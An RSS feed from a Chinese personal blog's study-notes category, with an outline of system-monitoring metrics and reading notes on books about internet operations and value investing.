<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>学习笔记 on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
    <description>Recent content in 学习笔记 on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sat, 03 Jul 2021 11:07:23 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>监控系统概要</title>
      <link>http://blog.leaver.me/2021/07/03/%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%A6%81/</link>
      <pubDate>Sat, 03 Jul 2021 11:07:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2021/07/03/%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E6%A6%82%E8%A6%81/</guid>
      <description>&lt;h1 id=&#34;监控系统&#34;&gt;监控系统&lt;/h1&gt;
&lt;h2 id=&#34;三剑客&#34;&gt;三剑客&lt;/h2&gt;
&lt;p&gt;metrics
monitor
alert&lt;/p&gt;
&lt;h1 id=&#34;监控什么&#34;&gt;监控什么&lt;/h1&gt;
&lt;h2 id=&#34;主机级别&#34;&gt;主机级别&lt;/h2&gt;
&lt;p&gt;CPU
Memory
Disk space
Processes&lt;/p&gt;
&lt;h2 id=&#34;应用程序&#34;&gt;应用程序&lt;/h2&gt;
&lt;p&gt;Error and success rates
Service failures and restarts
Performance and latency of responses
Resource usage&lt;/p&gt;
&lt;h2 id=&#34;网络相关&#34;&gt;网络相关&lt;/h2&gt;
&lt;p&gt;Connectivity
Error rates and packet loss
Latency
Bandwidth utilization&lt;/p&gt;
&lt;h2 id=&#34;服务池资源&#34;&gt;服务池资源&lt;/h2&gt;
&lt;p&gt;Pooled resource usage
Scaling adjustment indicators
Degraded instances&lt;/p&gt;
&lt;h2 id=&#34;外部依赖的度量&#34;&gt;外部依赖的度量&lt;/h2&gt;
&lt;p&gt;Service status and availability
Success and error rates
Run rate and operational costs
Resource exhaustion&lt;/p&gt;
&lt;h1 id=&#34;如何采集metrics&#34;&gt;如何采集Metrics&lt;/h1&gt;
&lt;h2 id=&#34;黄金指标&#34;&gt;黄金指标&lt;/h2&gt;
&lt;h3 id=&#34;延迟&#34;&gt;延迟&lt;/h3&gt;
&lt;p&gt;延迟可以知道一个任务需要多久&lt;/p&gt;
&lt;h3 id=&#34;流量&#34;&gt;流量&lt;/h3&gt;
&lt;p&gt;知道系统的繁忙程度&lt;/p&gt;
&lt;h3 id=&#34;错误&#34;&gt;错误&lt;/h3&gt;
&lt;p&gt;错误的分类和管理&lt;/p&gt;
&lt;h3 id=&#34;饱和&#34;&gt;饱和&lt;/h3&gt;
&lt;p&gt;资源的利用率&lt;/p&gt;
&lt;p&gt;可以说，任何的组件都可以通过这四个指标进行监控&lt;/p&gt;
&lt;h2 id=&#34;组件说明&#34;&gt;组件说明&lt;/h2&gt;
&lt;h3 id=&#34;服务器组件&#34;&gt;服务器组件&lt;/h3&gt;
&lt;p&gt;To measure CPU, the following measurements might be appropriate:&lt;/p&gt;
&lt;p&gt;Latency: Average or maximum delay in CPU scheduler
Traffic: CPU utilization
Errors: Processor specific error events, faulted CPUs
Saturation: Run queue length&lt;/p&gt;
&lt;h3 id=&#34;应用程序与服务&#34;&gt;应用程序与服务&lt;/h3&gt;
&lt;p&gt;Latency: The time to complete requests
Traffic: Number of requests per second served
Errors: Application errors that occur when processing client requests or accessing resources
Saturation: The percentage or amount of resources currently being used&lt;/p&gt;</description>
    </item>
    <item>
      <title>&lt;运营之光&gt;读书笔记</title>
      <link>http://blog.leaver.me/2021/04/07/%E8%BF%90%E8%90%A5%E4%B9%8B%E5%85%89%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 07 Apr 2021 19:46:31 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/04/07/%E8%BF%90%E8%90%A5%E4%B9%8B%E5%85%89%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;此书感觉一般。。&lt;/p&gt;
&lt;p&gt;◆ 第2章 运营之“光”&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网行业内相对有一致共识的4大运营职能划分是：内容运营、用户运营、活动运营和产品运营。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 2.5 我做运营的3个底层工作方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实我们可以把“运营”理解为：为了要连接好产品和用户，你可能会使用的一切手段。基于这个层面来理解的话，概念层面的“运营”应当是要大于“市场”的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 2.6.2 案例：脉脉“知识裸捐”霸屏营销背后的逻辑与思考&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;产品负责界定和提供长期用户价值，运营负责创造短期用户价值+协助产品完善长期价值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.5 为何说“标题党”和“段子手”们都很难成为内容领域的顶尖高手&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个人若想要做好运营，我觉得可能需要：（1）一些必备的基础素质和思维方式、工作习惯等（如投入产出比意识、流程化&amp;amp;精细化意识、回报后置意识等）。（2）至少一项可以拿得出手、能直接带来产出的运营硬技能（如文案、内容包装&amp;amp;生产、活动策划、用户互动&amp;amp;维系、数据分析&amp;amp;策略制定等）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.6.3 面向较小规模特定用户的针对性运营&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;第一，当你在一个具体项目中面临N多不确定因素的时候，其中往往存在一个最为重要的因素，它可能会成为整件事情可以顺畅发生的核心前提。且，在互联网的世界里，这个最重要的因素往往就是“一个基于某种假设的产品或服务，能否得到用户真实、自发的认可”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.8 关于撬动用户互动参与意愿的8个指导原则&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;其实你会发现，很多时候运营在做的事，就像是攒一个“局”。即，设计或假想出来一个最终可以拉动N多人一起参与一起玩一起High的事情，并一步步去让这个事情从假想变得落地。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但，无论局大局小，组局成功的关键，总是在于你要能够一一界定清楚，局内各方的价值供给关系，并在其中穿针引线，优先引入某种较为稀缺的价值，从而逐步让各方间的价值供给关系从最初的假想一点点变为确立。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 3.8.2 懂球帝的教科书级运营案例&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我自己有一个习惯，但凡我在朋友圈、微信群等地方看到有超过3个人都在提一个我此前从来没听过的概念，我就一定会专门抽出来至少30～50分钟的时间，去把这个我从来没听说过的东西彻头彻尾搞清楚。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;假如你需要短时间内获得对方的注意力，那你可能需要先抛出一个可以让对方大吃一惊、瞠目结舌或十分好奇的观点和结论，瞬间击中对方，然后再去逐一论证你的观点是否可以成立。而，假如你面临着的问题是要说服对方接受一个你的观点，那么你可能更需要先从大量事实和一些细节的刻画出发，通过事实和细节引发出对方的感知、共鸣和认同，再逐步引申出你的结论。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第4章 运营的一些宏观规律和逻辑&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个优秀的运营和一个普通人之间会存在的一个核心差别，就是优秀的运营拿到一个问题后，会先回归到流程，先把整个问题的全流程梳理出来，然后再从流程中去寻找潜在解决方案。而对普通人来说，则更可能会直接拍脑袋给出解决方案。&lt;/p&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>《投资中不简单的事》笔记</title>
      <link>http://blog.leaver.me/2021/02/01/%E6%8A%95%E8%B5%84%E4%B8%AD%E4%B8%8D%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Mon, 01 Feb 2021 16:46:32 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/02/01/%E6%8A%95%E8%B5%84%E4%B8%AD%E4%B8%8D%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;本书不建议读，浪费时间。属于文章合集。&lt;/p&gt;
&lt;p&gt;◆ 第一篇 思想篇&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们做价值投资，把时间拉长，总是赚两方面的钱：一方面赚的是企业被低估的钱，这个是市场过度悲观、市场情绪化定价所带来的机会；另一方面赚的是企业成长的钱，是管理团队不断为股东创造的价值、创造的新收益&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 02 在中国市场做价值投资的思路&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我理解的是，价值投资根本的出发点，是看投资回报的来源是哪里。企业持续地创造价值，投资人去分享收益，这才是价值投资的方式，才是基于基本面的投资。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 03 我所理解的基本面投资&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从过去十几年的业绩归因看，即使是由美国顶级聪明大脑打造的各种量化与对冲策略的基金业绩，似乎也不如人意。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 04 行业周期的判断和投资思路&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我的投资框架总结成一句话就是：自上而下思考，自下而上选择。自上而下思考就是从宏观经济和产业发展的角度来圈定行业范围，自下而上选择就是从人和机制的角度来挑选标&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 06 在经济变化的主航道上投资&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;判断一个新生意是否会成为主航道生意，有5个要点：◎ 一是新生意的体验或者效率要有数倍提升；◎ 二是这个生意要有足够的规模，小生意不可能成为主航道生意；◎ 三是这个生意必须要有足够的增长速度，在如今这个时代要符合摩尔定律；◎ 四是生意还要在商业上可行，可以在现在或可预见的未来产生卓越的资本回报率；◎ 五是第一批消费者已经在使用并且体验满意，能引领更多的人使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;判断一个成熟的生意是否还在主航道上，有两个标准。第一个是渗透率是否足够高。通常一个生意从0到1处在主航道上，从1到10也处在主航道上，但是从10到100就未必在主航道上了。拿中国来说，渗透一线城市主流人群的过程是从0到1，渗透二线城市主流人群和一线城市非主流人群的过程是从1到10，渗透二线以下城市是从10到100的过程。第二个是增速是否显著放慢。主航道生意应当有30%以上的收入增长，如果低于这个速度，通常不再是主航道生意。好的生意都有强大的护城河，该生意的资本回报率应该同样处在较高的水平，高于20%。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>《投资中最简单的事》笔记</title>
      <link>http://blog.leaver.me/2021/01/31/%E6%8A%95%E8%B5%84%E4%B8%AD%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 31 Jan 2021 21:32:00 +0800</pubDate>
      <guid>http://blog.leaver.me/2021/01/31/%E6%8A%95%E8%B5%84%E4%B8%AD%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E4%BA%8B%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;最近读完了邱国鹭的《投资中最简单的事》，作为一本投资理财相关的笔记书籍。比较认可的，或者不错的，都写到笔记中。&lt;/p&gt;
&lt;p&gt;◆ 第一部分 投资理念&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;好公司的两个标准 一是它做的事情别人做不了；二是它做的事情自己可以重复做。前者是门槛，决定利润率的高低和趋势；后者是成长的可复制性，决定销售增速。如果二者不可兼得，宁要有门槛的低增长（可持续），也不要没门槛的高增长（不可持续）。门槛是现有的，好把握；成长是将来的，难预测。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网的本质是“人生人”，优势在于能以极低成本服务无数客户，规模效应体现在“人多”，“二八”现象不明显，是典型的散户经济，得散户者得天下。银行业的本质是“钱生钱”，规模效应体现在“钱多”，80%的业务来自20%的客户，“二八”现象显著，得大户者得天下，而且那20%的大客户是需要线下的高端服务的，这就是网上银行至今在欧美日韩都没有很成功的案例的重要原因。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;互联网“人生人”主要靠两条：一是网络效应（例如淘宝，买家多卖家就多，卖家多买家更多；社交网站，美女多帅哥就多，帅哥多美女更多），二靠人多提升用户体验（用户越多搜索结果越精确；用户越多，对餐厅的点评越靠谱）。可惜的是，网络银行并不会因为用户多而形成网络效应或者提升用户体验，因此优势并不明显。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;投资要研究的就是这些不以人的意志为转移的规律，而不是整天去猜测市场的情绪变化。有时猜测别人的情绪变化能给我们带来收益，但那是不能够持久的。而经济规律、行业特质、商业模式是客观存在的，你只要研究透了，它在三五年内是不会有大的变化的，能为理解这些规律的投资人提供持续的竞争优势。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;当其他行业的龙头公司想“移民”到某行业时，往往该行业股价已近阶段性顶部。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 02 人弃我取，逆向投资的关键&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;投资做了十几年，我深深体会到人弃我取、逆向投资是超额收益的重要来源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一只下跌的股票是否值得逆向投资的关键在于以下三点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;首先，看估值是否够低、是否已经过度反映了可能的坏消息。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其次，看遭遇的问题是否是短期问题、是否是可解决的问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;最后，看股价暴跌本身是否会导致公司的基本面进一步恶化，即是否有索罗斯所说的反身性&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买股票之前问问自己，下跌后敢加仓吗？如果不敢，最好一开始就别买，因为价格的波动是不可避免的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;作为消费者，我对食品安全事故深恶痛绝，但是作为投资者，我们不应该把个人感情因素带入投资决策。从历史上看，食品安全事故往往是行业投资较好的买入点，特别是那些没有直接卷入安全事故或者牵涉程度较浅的行业龙头企业，更有可能是建仓良机。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;在面对其他类似食品安全事件的逆向投资机会时，投资者可以思考这样几个问题：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;●有无替代品。若有替代品（例如三株口服液之类的营养品就有众多替代品），则谨慎；若无替代品，则积极。
●是个股问题还是行业问题。如果主要是个股问题，则避开涉事个股，重点研究其竞争对手；即使是行业问题（例如毒奶粉），也可关注受影响相对较小的个股。
●是主动添加违规成分还是“被动中枪”。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;投资机会时，投资者可以思考这样几个问题：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;●有无替代品。若有替代品（例如三株口服液之类的营养品就有众多替代品），则谨慎；若无替代品，则积极。
●是个股问题还是行业问题。如果主要是个股问题，则避开涉事个股，重点研究其竞争对手；即使是行业问题（例如毒奶粉），也可关注受影响相对较小的个股。
●是主动添加违规成分还是“被动中枪”。前者宜谨慎，后者可积极。
●该问题是否容易解决。若容易解决，则积极；若难以解决（例如三聚氰胺问题），影响可能持续的时间长且有再次爆发的可能性，则谨慎。
●涉事企业是否有扎实的根基。悠久的历史传承和广泛的品牌美誉度在危机时刻往往有决定性的作用，秦池、孔府的倒台就是由于根基不稳而盘子却铺得太大。
●是否有突出的受害者个例。这决定了事件对消费者的影响是否持久。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最一致的时候就是最危险的时候&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买早了还得熬得住，这是逆向投资者的必备素质。投资者必须明白一个道理，市场中没有人能够卖在最高点、买在最低点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我有个习惯：每年年初和年中时汇总所有基金公司的季报行业配置。对大家都追捧的热门行业，我就谨慎一点；对大家都嫌弃的冷门行业，我就试着乐观一点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 03 便宜是硬道理&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;贪婪有两种，一种是在6000点时明知贵了，但还想等多涨一会儿再卖；另一种是在2000点时觉得便宜了，但还想等多跌一会儿再买。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;投资中影响股价涨跌的因素是无穷无尽的，但是最重要的其实只有两点，一个是估值，一个是流动性。估值就是价格相对于价值是便宜了还是贵了，估值决定了股票能够上涨的空间；流动性则决定了股市涨跌的时间。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;M2的合理增速应该大致比名义GDP快2~3个点。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所有的价格本质上都是货币现象，比如钱多了，水涨船高，所有东西的价格都往上涨，一旦钱少了，所有东西的价格都会往下跌。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;买的时候足够便宜，就不用担心做傻瓜&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;过去10年没有涨，很多人就认为股票不能买，其实你反过来想，这更说明现在的股票价值比10年前要高得多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;那么什么样的行业是好行业呢？很简单，有门槛、有积累、有定价权的那种行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所谓门槛就是不是谁想进来就可以进来的。我们都知道中国有14亿多人口，如果某一个行业短期增长很快，利润率很高，就会有1000个人来山寨你的产品，另外1000个人想比你做得规模更大，然后把成本做得比你低&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但是有的行业因为技术变化太快而很难有积累，你也许积累了很久，拼命挖了很深的护城河，人家可能不进攻这个城，绕了过去又建了新城。最明显的就是高科技行业，电子、科技、媒体和通信技术更新换代太快了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从投资者的角度来看，有霸王条款的公司就是好公司，因为这说明他有定价权。有的公司服务姿态很低，很辛苦却赚不到钱，原因是竞争太激烈了。我们要找行业竞争不激烈、赚钱很容易的公司。这种行业和公司确实存在，但是不多，大概有5~10个行业有这样的公司。长期来看，这样的公司赚钱的概率大得多。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;和巴菲特所说的找那种“傻子都能管”的公司类似，我一般都是看这个公司如果我去当CEO是不是可以管好，如果我也能管好，那就是“傻子都能管”的公司，如果傻子能管好我就买，这些因素决定了谁管都可以。许多大公司每年利润几百亿元、几千亿元，但不见得是靠管理层的本事，谁都能做管理层的公司就是好公司&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们知道价格等于市盈率乘以利润，价格变化无非是两种，一种是市盈率的变化，一种是利润的变化。所以永久性亏钱只有两个原因，一个是市盈率的压缩。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;另一个是利润在历史高点的时候，夕阳行业就有本金永久性丧失的风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;做投资真正想赚到比别人更多的收益，就要保持一个判断的独立性。别人悲观的时候也不一定就乐观，但是要想想别人的悲观有没有理由，别人的悲观是不是已经反映在股价中，现在的悲观情绪大部分已经反映在股价中了。短期看，价格波动的风险永远也没有办法避免，我们也不能够肯定说10倍的市盈率不会跌到8倍。对于个人的资金，我认为现在买房子不是什么好时机，买艺术品或者是其他的东西不如买股票。但是也不要把全部资金都放在股票上，有一定比例就可以了。投资期限越长，能够承担风险能够放的比例就越大。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;牛市里，上市公司再融资是利好，因为许多人认为企业会有释放业绩的动力。熊市里，再融资是利空，因为大家都担心股票供给的增加和增发对利润的摊薄。牛市里所有消息都是好消息；熊市里所有消息都是坏消息。同一消息，在不同的市场环境下常有不同的解读——你听到的是你想听到的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;伯乐在教人相马时，对他喜欢的人他就教如何相普通的好马，对他厌恶的人他就教如何相千里马。为什么呢？普通马常有，如何相马有规律，容易学。千里马不常有，是不拘一格的个例，难学，且常常无用武之地。传说中的“十倍股”成长股就像千里马一样可遇而不可求，还是脚踏实地找些价值股，也就是“普通好马”靠谱些。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;不为精彩绝伦的牛股倾倒，不被纷繁复杂的个例迷惑，不抱侥幸心理，不赌小概率事件，坚持按规律投资，这是投资纪律的一种体现，也是投资成功的必要条件。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 第二部分 投资方法&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;回答三个问题：为什么认为一家公司便宜，为什么认为一家公司好，以及为什么要现在买。这三个问题中，第一个是估值的问题，第二个是公司品质的问题，第三个是买卖时机的问题。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我们很多的卖方报告过多地关注动态的信息，而对公司静态的信息分析得不够。静态的信息是什么呢？最简单的就是先回答一个问题：这个公司做的是不是一门好生意？好生意就是容易赚钱的生意。比如茅台，这个公司的商业模式很简单，哪怕被政府打压一样能赚钱，只是增速下来了。你说茅台的管理层一定比钢铁公司的管理层高明很多吗？那也很难说。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;公司的品质好坏，关键是看能不能具有定价权。并不是说消费品就好，投资品就不好，关键还是在于有没有定价权。消费品更能有定价权是因为消费品是差异化产品，而且下游是分散的客户，公司的议价权更大；投资品的定价权更有限是因为它们经常是无差异的同质化产品，下游客户更集中，因此公司的议价权更有限。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一个行业一旦受到政府扶持，冲破各种桎梏的希望就不大，所以我一直对政府扶持的行业保持谨慎。政府对扶持的对象往往选择有误，中央政府没有精力和能力去管得这么细，各地方政府则倾向于各自扶持当地的企业，最后造成产能过剩、价格竞争。最后，资金都耗费光了，就没有钱搞研发了。没有钱搞研发，就竞争不过国外，而创新行业是以研发和创新为基础的，打价格战没有赢家。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但是，做程序员就不一定是一个好行业，可能3年就需要学一种新的计算机语言，除非你转型做产品经理。中国的很多行业就是这样，总是有后浪不断去推前浪，最后把前浪拍死在沙滩上。这样的行业就很难受。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;没有一个爱投科技股？一个重要的原因就是这个行业技术变化太快，先发优势不明显，护城河每3~5年就要重新挖一次，太难把握。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;一直强调胜而后求战，愿意买已经把竞争对手打趴下的公司，而不是战而后求胜，在百舸争流中猜赢家。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;我不愿意在它们拍的电影很火爆的时候用50倍的市盈率去买，长期来看这具有戴维斯双杀风险。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;这种颠覆性的、技术变化快的行业，是很难在事前知道谁是赢家的。并不是行业增长快就能随意购买股票&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;要认识一个行业，不妨做一道填空题：得___者得天下，用一个词来概括这个行业竞争的是什么。例如，基金业是得人才者得天下，高端消费品是得品牌者得天下，低端消费品是得渠道者得天下，无差异中间品是得成本者得天下，制造业是得规模者得天下，大宗品是得资源者得天下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;对于多数人而言，对待选时的正确态度应该是避免把大量的时间花在试图“抄底”或者“逃顶”上。从时间耗费的投入产出比的角度来看，对于一个公司的基本面而言，你研究了3个月，比一个研究了3天的人做出的投资结论的胜算要高得多。然而，你在一张K线图上花3个月计算各种指标，也不见得能比一个看了几秒钟K线图的人判断更准确。彼得·林奇说的“如果你每年花10分钟在宏观分析上，你就浪费了10分钟”也是同样的意思。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;总有人感叹错过了一只几十倍的大牛股，卖得太早了；而不久之后又会因为回避了某只股票20%的调整而沾沾自喜。其实，二者常常是鱼与熊掌不可兼得的。短期选时与长期投资虽然有时可以并行，但是更多的时候是相冲突的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;所以才会有“88魔咒”的说法：当公募基金平均仓位达到88%以上时，一般就是市场阶段性见顶的信号了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;其实，能成功选时的总是极少数。对于多数人而言，只要把估值掌握好，把基本面分析好，淡化选时，长期来看投资回报就不会差。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;两句令我很受启发的话 一句是某投资界牛人说的：投资就是要杀鸡用牛刀，因为杀鸡用鸡刀不能一刀毙命，反而容易伤到手，必须集中兵力深度调研打歼灭战。另一句是某上市公司总经理说的：带兵打仗，人是第一位的，因此即使目前经营环境恶劣，也不能减少对员工和团队的投入。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 05 宁数月亮，不数星星&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;第一个原则是，便宜是硬道理&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第二个原则是，定价权是核心竞争力。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第三个原则是，胜而后求战，不要战而后求胜。这是《孙子兵法》里的一句话，我认为大多数可控的投资，投的是已经发生的未来。站在当下要看到未来的确定性，那它应该是胜负已分的行业。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;第四个原则是，人弃我取，逆向投资。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;经常问研究员一句话：“这个行业是越大越强还是越大越难？”越大越难就是不好的生意。很多行业是越大越难的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 06 经验就像旧衣服&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;有人喜欢集中持股，不熟不做，只打有把握的仗；有人喜欢分散持股，降低个股风险，而且易于对每只个股保持客观性（集中持股的人容易“爱上”自己的重仓股）。二者各有千秋，无所谓对错。我喜欢在中间找个平衡：足够多，能降低绝大部分的个股风险；同时又足够少，能对每个持仓都进行深入研究。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ ｜投资随想录｜&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;债券下跌后，人们看到的往往是机会，因为人们会注意到债券的未来到期收益率已经因为价格的下跌而上升了；股票下跌后，人们看到的却只是风险，因为股票没有固定的息票和到期日。其实，股票和债券一样，价格大幅下跌后，未来预期收益率就上升；价格大幅上涨后，未来预期收益率就下降。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;◆ 08 真假风险与安全边际&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;风险有两种，一种是感受到的风险，另一种是真实的风险。股票暴涨后，真实的风险上升，感受到的风险却在下降，在6000点股市最危险的时候大家感受到的都是歌舞升平；股票暴跌后，真实的风险下降，感受到的风险上升，在2000点股市相对低谷时人们感受到的却都是凄风苦雨。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;保罗·琼斯（Paul Jones）是我最尊敬的对冲基金经理之一，他的座右铭是“失败者才在亏损股上越跌越买、摊低成本”。对于趋势投资者而言，止损不止赢是短线交易的第一法则，自不必多说。那么，对于价值投资者而言，应该如何对待亏损股呢？止损，死扛，还是越跌越买？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
